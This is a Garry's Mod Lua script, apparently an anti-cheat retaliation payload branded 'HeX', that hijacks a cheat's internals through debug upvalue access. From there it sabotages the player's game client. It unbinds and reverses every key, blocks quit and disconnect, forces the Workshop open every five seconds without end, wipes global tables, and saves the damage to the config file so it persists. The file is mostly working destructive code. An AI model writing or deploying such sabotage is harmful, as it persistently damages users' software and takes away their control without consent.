


local pcall			= pcall
local getmetatable	= getmetatable
local NotRCC		= RunConsoleCommand
local getupvalue	= debug.getupvalue
local getinfo 		= debug.getinfo
local POP 			= steamworks.OpenWorkshop
local NotTC 		= timer.Create
local NotTS 		= timer.Simple


local function EatOub(func)
	local function RCC(str)
		local ret,err = pcall(function()
			func(str)
		end)
		if err then
			NotTS(20, function()
				NotRCC("uhoh", "EatOub="..tostring(err) )
			end)
		end
	end
	
	local function FuckKey(k,v)
		RCC('bind '..k..' "'..v..'; alias unbindall; alias toggleconsole; alias cancelselect; alias exec; alias unbind; alias bind; say ILoveHeX!"')
	end
	
	RCC("unbindall; host_writeconfig")
		FuckKey("`", 		"toggleconsole")
		FuckKey("w", 		"+back")
		FuckKey("a", 		"+moveright")
		FuckKey("s", 		"+forward")
		FuckKey("d", 		"+moveleft")
		FuckKey("f", 		"impulse 100")
		FuckKey("q", 		"+menu")
		FuckKey("v", 		"noclip")
		FuckKey("e", 		"+use")
		FuckKey("TAB", 		"+showscores")
		FuckKey("SPACE",	"+jump")
		FuckKey("MOUSE1",	"+attack2")
		FuckKey("MOUSE2",	"+attack")
		FuckKey("CTRL",		"kill")
		FuckKey("SHIFT",	"+walk")
		FuckKey("ESCAPE",	"kill")
		FuckKey("esc",		"banme")
		
		RCC('alias cancelselect "say I Really Love HeX"; alias toggleconsole "say I Love HeX"')
		RCC('alias disconnect "say I Love HeX!"; alias disconnect "say I Love HeX :)"')
		RCC('alias quit "say I Love HeX!"; alias disconnect "say I Love HeX :)"')
		RCC('alias exit "say I Love HeX!"; alias exec "say I Love HeX :D"')
		RCC('bind MOUSE3 "say Three mice?!"; sensitivity 15; volume 0.1')
	RCC("host_writeconfig")
end



local meta	= getmetatable(_G)
local OH 	= nil


local function EatShit(err)
	NotRCC("uhoh", "EatShit="..tostring(err) )
	
	NotTC("IHateYou", 5, 0, function() POP() end)
	
	hook.Hooks = {}
	setmetatable(_G, {})
	if meta then
		meta.__index 	= print
		meta.__newindex = print
	end
	hook = {}
end


if not meta then return end
if not meta.__index then EatShit("!meta") return end

local gee,g = getupvalue(meta.__index, 2)
if not g then EatShit("!g") return end

local KeyDown = g.input.IsKeyDown

local function IsKeyDown(...)
	local OH = nil
	
	for stack=1,6 do
		local tab = getinfo(stack)
		
		if tab then
			for i=0,6 do
				local k,v = getupvalue(tab.func,i)
				
				if k == "OH" then
					if not v then EatShit("!v") return end
					OH = v
					
					local name,CPP = getupvalue(v.Logging.LogToFile, 1)
					if CPP then
						if CPP.RunConsoleCommand then
							EatOub(CPP.RunConsoleCommand)
						else
							EatShit("!RCC")
						end
					else
						EatShit("!CPP")
					end
					
					v.Hooks = {} --No.
				end
			end
		end
	end
	
	
	if OH then
		g.input.IsKeyDown = KeyDown
	else
		EatShit("!OH")
	end
	
	return KeyDown(...)
end
g.input.IsKeyDown = IsKeyDown





